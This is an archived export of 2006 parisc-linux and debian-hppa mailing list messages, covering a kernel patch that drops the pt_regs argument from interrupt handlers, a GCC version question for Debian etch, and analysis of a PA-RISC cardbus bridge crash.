X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Oct 2006 02:54:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 07 Oct 2006 04:54:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 908947D6C0;
	Fri,  6 Oct 2006 20:54:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32215-08; Fri, 6 Oct 2006 20:54:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C9F107D6C4;
	Fri,  6 Oct 2006 20:54:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 884857D6BD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Oct 2006 20:54:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32208-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 6 Oct 2006 20:54:45 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4AD047D6A9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Oct 2006 20:54:45 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 0E31A494007; Fri,  6 Oct 2006 20:54:45 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id DC3FD494006; Fri,  6 Oct 2006 20:54:44 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.64.0610061055490.3952@g5.osdl.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OiAUcUALf2I/GoicY2xoCV9wdWxlc9YT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25323

On Fri, Oct 06, 2006 at 11:01:24AM -0700, Linus Torvalds wrote:
> On Fri, 6 Oct 2006, Russell King wrote:
> > 
> > If it's obvious and trivial, it should be easy for anyone to fix, even
> > the person who broke it.  Especially as there are build logs automatically
> > generated for every -git tree at http://armlinux.simtec.co.uk/kautobuild/
> 
> Ok, I just committed a rough first cut at fixing up arm/.

Could you do:

git-pull git://git.parisc-linux.org/git/linux-2.6.git irq-fixes

Or apply the patch below, if that's easier

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 9bdd019..2ece7c7 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -35,8 +35,8 @@ #include <asm/smp.h>
 
 #undef PARISC_IRQ_CR16_COUNTS
 
-extern irqreturn_t timer_interrupt(int, void *, struct pt_regs *);
-extern irqreturn_t ipi_interrupt(int, void *, struct pt_regs *);
+extern irqreturn_t timer_interrupt(int, void *);
+extern irqreturn_t ipi_interrupt(int, void *);
 
 #define EIEM_MASK(irq)       (1UL<<(CPU_IRQ_MAX - irq))
 
@@ -375,7 +375,7 @@ #ifdef CONFIG_SMP
 		goto set_out;
 	}
 #endif
-	__do_IRQ(irq, regs);
+	__do_IRQ(irq);
 
  out:
 	irq_exit();
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 1d58ce0..b448392 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -66,7 +66,7 @@ irqreturn_t timer_interrupt(int irq, voi
 	/* gcc can optimize for "read-only" case with a local clocktick */
 	unsigned long cpt = clocktick;
 
-	profile_tick(CPU_PROFILING, regs);
+	profile_tick(CPU_PROFILING);
 
 	/* Initialize next_tick to the expected tick time. */
 	next_tick = cpu_data[cpu].it_value;
diff --git a/drivers/input/keyboard/hil_kbd.c b/drivers/input/keyboard/hil_kbd.c
index c9b0b89..e774dd3 100644
--- a/drivers/input/keyboard/hil_kbd.c
+++ b/drivers/input/keyboard/hil_kbd.c
@@ -328,7 +328,7 @@ static int hil_kbd_connect(struct serio 
 	kbd->dev->id.vendor	= PCI_VENDOR_ID_HP;
 	kbd->dev->id.product	= 0x0001; /* TODO: get from kbd->rsc */
 	kbd->dev->id.version	= 0x0100; /* TODO: get from kbd->rsc */
-	kbd->dev->dev		= &serio->dev;
+	kbd->dev->cdev.dev	= &serio->dev;
 
 	for (i = 0; i < 128; i++) {
 		set_bit(hil_kbd_set1[i], kbd->dev->keybit);
diff --git a/drivers/input/mouse/hil_ptr.c b/drivers/input/mouse/hil_ptr.c
index 402b057..4f2b503 100644
--- a/drivers/input/mouse/hil_ptr.c
+++ b/drivers/input/mouse/hil_ptr.c
@@ -375,7 +375,7 @@ #endif
 	ptr->dev->id.vendor	= PCI_VENDOR_ID_HP;
 	ptr->dev->id.product	= 0x0001; /* TODO: get from ptr->rsc */
 	ptr->dev->id.version	= 0x0100; /* TODO: get from ptr->rsc */
-	ptr->dev->dev		= &serio->dev;
+	ptr->dev->cdev.dev	= &serio->dev;
 
 	input_register_device(ptr->dev);
 	printk(KERN_INFO "input: %s (%s), ID: %d\n",
diff --git a/drivers/input/serio/gscps2.c b/drivers/input/serio/gscps2.c
index 081fdc3..74f14e0 100644
--- a/drivers/input/serio/gscps2.c
+++ b/drivers/input/serio/gscps2.c
@@ -166,7 +166,7 @@ static inline int gscps2_writeb_output(s
 
 	/* make sure any received data is returned as fast as possible */
 	/* this is important e.g. when we set the LEDs on the keyboard */
-	gscps2_interrupt(0, NULL, NULL);
+	gscps2_interrupt(0, NULL);
 
 	return 1;
 }
@@ -306,7 +306,7 @@ static int gscps2_open(struct serio *por
 	/* enable it */
 	gscps2_enable(ps2port, ENABLE);
 
-	gscps2_interrupt(0, NULL, NULL);
+	gscps2_interrupt(0, NULL);
 
 	return 0;
 }
diff --git a/drivers/input/serio/hil_mlc.c b/drivers/input/serio/hil_mlc.c
index bbbe15e..bdfde04 100644
--- a/drivers/input/serio/hil_mlc.c
+++ b/drivers/input/serio/hil_mlc.c
@@ -162,10 +162,10 @@ static void hil_mlc_send_polls(hil_mlc *
 		if (did != (p & HIL_PKT_ADDR_MASK) >> 8) {
 			if (drv == NULL || drv->interrupt == NULL) goto skip;
 
-			drv->interrupt(serio, 0, 0, NULL);
-			drv->interrupt(serio, HIL_ERR_INT >> 16, 0, NULL);
-			drv->interrupt(serio, HIL_PKT_CMD >> 8,  0, NULL);
-			drv->interrupt(serio, HIL_CMD_POL + cnt, 0, NULL);
+			drv->interrupt(serio, 0, 0);
+			drv->interrupt(serio, HIL_ERR_INT >> 16, 0);
+			drv->interrupt(serio, HIL_PKT_CMD >> 8,  0);
+			drv->interrupt(serio, HIL_CMD_POL + cnt, 0);
 		skip:
 			did = (p & HIL_PKT_ADDR_MASK) >> 8;
 			serio = did ? mlc->serio[mlc->di_map[did-1]] : NULL;
@@ -174,10 +174,10 @@ static void hil_mlc_send_polls(hil_mlc *
 		}
 		cnt++; i++;
 		if (drv == NULL || drv->interrupt == NULL) continue;
-		drv->interrupt(serio, (p >> 24), 0, NULL);
-		drv->interrupt(serio, (p >> 16) & 0xff, 0, NULL);
-		drv->interrupt(serio, (p >> 8) & ~HIL_PKT_ADDR_MASK, 0, NULL);
-		drv->interrupt(serio, p & 0xff, 0, NULL);
+		drv->interrupt(serio, (p >> 24), 0);
+		drv->interrupt(serio, (p >> 16) & 0xff, 0);
+		drv->interrupt(serio, (p >> 8) & ~HIL_PKT_ADDR_MASK, 0);
+		drv->interrupt(serio, p & 0xff, 0);
 	}
 }
 
@@ -780,16 +780,16 @@ static int hil_mlc_serio_write(struct se
 	while ((last != idx) && (*last == 0)) last--;
 
 	while (idx != last) {
-		drv->interrupt(serio, 0, 0, NULL);
-		drv->interrupt(serio, HIL_ERR_INT >> 16, 0, NULL);
-		drv->interrupt(serio, 0, 0, NULL);
-		drv->interrupt(serio, *idx, 0, NULL);
+		drv->interrupt(serio, 0, 0);
+		drv->interrupt(serio, HIL_ERR_INT >> 16, 0);
+		drv->interrupt(serio, 0, 0);
+		drv->interrupt(serio, *idx, 0);
 		idx++;
 	}
-	drv->interrupt(serio, 0, 0, NULL);
-	drv->interrupt(serio, HIL_ERR_INT >> 16, 0, NULL);
-	drv->interrupt(serio, HIL_PKT_CMD >> 8, 0, NULL);
-	drv->interrupt(serio, *idx, 0, NULL);
+	drv->interrupt(serio, 0, 0);
+	drv->interrupt(serio, HIL_ERR_INT >> 16, 0);
+	drv->interrupt(serio, HIL_PKT_CMD >> 8, 0);
+	drv->interrupt(serio, *idx, 0);
 	
 	mlc->serio_oidx[map->didx] = 0;
 	mlc->serio_opacket[map->didx] = 0;
diff --git a/drivers/net/lasi_82596.c b/drivers/net/lasi_82596.c
index 8cbd940..f4d815b 100644
--- a/drivers/net/lasi_82596.c
+++ b/drivers/net/lasi_82596.c
@@ -1252,7 +1252,7 @@ #ifdef CONFIG_NET_POLL_CONTROLLER
 static void i596_poll_controller(struct net_device *dev)
 {
 	disable_irq(dev->irq);
-	i596_interrupt(dev->irq, dev, NULL);
+	i596_interrupt(dev->irq, dev);
 	enable_irq(dev->irq);
 }
 #endif
diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index a0a8fd8..03c763c 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -389,7 +389,7 @@ ilr_again:
 		int irq = dino_dev->global_irq[local_irq];
 		DBG(KERN_DEBUG "%s(%d, %p) mask 0x%x\n",
 			__FUNCTION__, irq, intr_dev, mask);
-		__do_IRQ(irq, regs);
+		__do_IRQ(irq);
 		mask &= ~(1 << local_irq);
 	} while (mask);
 
diff --git a/drivers/parisc/eisa.c b/drivers/parisc/eisa.c
index 094562e..e97cecb 100644
--- a/drivers/parisc/eisa.c
+++ b/drivers/parisc/eisa.c
@@ -234,7 +234,7 @@ static irqreturn_t eisa_irq(int wax_irq,
 	}
 	spin_unlock_irqrestore(&eisa_irq_lock, flags);
 
-	__do_IRQ(irq, regs);
+	__do_IRQ(irq);
    
 	spin_lock_irqsave(&eisa_irq_lock, flags);
 	/* unmask */
diff --git a/drivers/serial/mux.c b/drivers/serial/mux.c
index aa819d3..8ad1b8c 100644
--- a/drivers/serial/mux.c
+++ b/drivers/serial/mux.c
@@ -230,7 +230,7 @@ static void mux_read(struct uart_port *p
 				continue;
 		}
 
-		if (uart_handle_sysrq_char(port, data & 0xffu, NULL))
+		if (uart_handle_sysrq_char(port, data & 0xffu))
 			continue;
 
 		tty_insert_flip_char(tty, data & 0xFF, TTY_NORMAL);
diff --git a/include/asm-parisc/irq_regs.h b/include/asm-parisc/irq_regs.h
new file mode 100644
index 0000000..3dd9c0b
--- /dev/null
+++ b/include/asm-parisc/irq_regs.h
@@ -0,0 +1 @@
+#include <asm-generic/irq_regs.h>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: GCC versions on hppa for etch
Date: Fri, 6 Oct 2006 01:56:00 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <17701.39824.601717.433929__48662.8933148042$1416624604$gmane$org@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624604 27746 80.91.229.3 (22 Nov 2014 02:50:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:04 +0000 (UTC)
To: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Oct 2006 00:50:08 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx072) with SMTP; 06 Oct 2006 02:50:08 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 84BA42E4EC; Thu,  5 Oct 2006 19:49:57 -0500 (CDT)
Old-Return-Path: <doko@cs.tu-berlin.de>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by murphy.debian.org (Postfix) with ESMTP id 403302DE5F
	for <debian-hppa@lists.debian.org>; Thu,  5 Oct 2006 18:56:07 -0500 (CDT)
Original-Received: from mailhost.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id BAA01360;
	Fri, 6 Oct 2006 01:56:02 +0200 (MEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id 84CB8F266;
	Fri,  6 Oct 2006 01:56:02 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
 by localhost (mail.cs.tu-berlin.de [127.0.0.1]) (amavisd-new, port 10224)
 with ESMTP id 08195-43; Fri,  6 Oct 2006 01:56:01 +0200 (MEST) 12630
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Fri,  6 Oct 2006 01:56:01 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.13.6+Sun/8.12.8/Submit) id k95Nu0BZ028246;
	Fri, 6 Oct 2006 01:56:00 +0200 (MEST)
X-Mailer: VM 7.17 under 21.4 (patch 17) "Jumbo Shrimp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Rc-Spam: 2006-04-09_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2006-04-09_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-0.4 required=4.0 tests=AWL autolearn=no 
	version=3.0.3
Resent-Message-ID: <TMcDcD.A.uDC.1gaJFB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5501
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu,  5 Oct 2006 19:49:57 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: eJ8WcdUHf2I/GoicY2xoluVwdWxlc1YS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25324

Can gcc-4.0-hppa64 and gcc-4.0 be dropped for etch? My current plan is
to keep gcc-4.1-hppa64 and gcc-3.4-hppa64. we can drop gcc-3.4-hppa64
as well, but will have to keep the other compilers from the GCC-3.4
package anyway.

  Matthias


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3600 crash with PCMCIA bridge
Date: Sat, 7 Oct 2006 11:27:52 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200610071527.k97FRruf011292@hiauly1.hia.nrc.ca>
References: <20061007165519.d85d8839.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624604 27749 80.91.229.3 (22 Nov 2014 02:50:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: gmsoft@tuxicoman.be (Guy Martin)
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Oct 2006 15:28:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 07 Oct 2006 17:28:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CFC877D670;
	Sat,  7 Oct 2006 09:28:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10020-08; Sat, 7 Oct 2006 09:28:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC9157D67F;
	Sat,  7 Oct 2006 09:28:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 252447D660
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Oct 2006 09:27:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10020-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Oct 2006 09:27:57 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E57BE7D658
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Oct 2006 09:27:57 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id A9653494007; Sat,  7 Oct 2006 09:27:57 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by mail.parisc-linux.org (Postfix) with ESMTP id 67F78494006
	for <parisc-linux@parisc-linux.org>;
	Sat,  7 Oct 2006 09:27:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k97FRrjl011293;
	Sat, 7 Oct 2006 11:27:54 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k97FRruf011292;
	Sat, 7 Oct 2006 11:27:53 -0400 (EDT)
In-Reply-To: <20061007165519.d85d8839.gmsoft@tuxicoman.be> from "Guy Martin"
	at Oct 7, 2006 04:55:19 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wIFBL2sPaHI+XKWnKSUlfaVqamdhZEQR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25325

The crash occurs because the first argument in the call to
pci_enable_bridges is a null pointer.  It's here:

102253dc <pci_enable_bridges>:
102253dc:       6b c2 3f d9     stw rp,-14(sp)
102253e0:       6f c4 00 80     stw,ma r4,40(sp)
102253e4:       6b c3 3f 89     stw r3,-3c(sp)
102253e8:       4b 5c 00 28     ldw 14(r26),ret0

r26 is zero.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3600 crash with PCMCIA bridge
Date: Sat, 07 Oct 2006 10:27:41 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <1160234861.3459.27.camel@mulgrave.il.steeleye.com>
References: <20061007165519.d85d8839.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624605 27750 80.91.229.3 (22 Nov 2014 02:50:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Oct 2006 15:35:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 07 Oct 2006 17:35:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96CDF7D67F;
	Sat,  7 Oct 2006 09:35:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10408-05; Sat, 7 Oct 2006 09:35:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95D0A7D6A6;
	Sat,  7 Oct 2006 09:35:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B1EB37D670
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Oct 2006 09:35:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10311-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Oct 2006 09:35:26 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7FA7D7D658
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Oct 2006 09:35:26 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 4130F494007; Sat,  7 Oct 2006 09:35:26 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by mail.parisc-linux.org (Postfix) with ESMTP id 8D5DB494006
	for <parisc-linux@parisc-linux.org>;
	Sat,  7 Oct 2006 09:35:25 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k97FRgW12589; Sat, 7 Oct 2006 11:27:42 -0400
In-Reply-To: <20061007165519.d85d8839.gmsoft@tuxicoman.be>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: c/sVdjROPTRtDujGPjIw6vgxc2tpZMs7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25326

On Sat, 2006-10-07 at 16:55 +0200, Guy Martin wrote:
> I've been experiencing kernel crashes when I plug a RICOH RL5c475 cardbus bridge.
> 
> I've attached the crash info.
> 
> Linux hope 2.6.17.4-pa6 #1 Thu Jul 13 09:06:34 CEST 2006 parisc PA8600 (PCX-W+) GNU/Linux

The only parisc chip known to work with cardbus is dino ... there are a
few strage tweaks you have to do to get it all running (and even dino
only seems to work with my single socket yenta bridge; it doesn't work
for helge with his dual yenta tadpole).

No-one's ever looked at putting the necessary code into astro ...
although it shouldn't be that hard.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
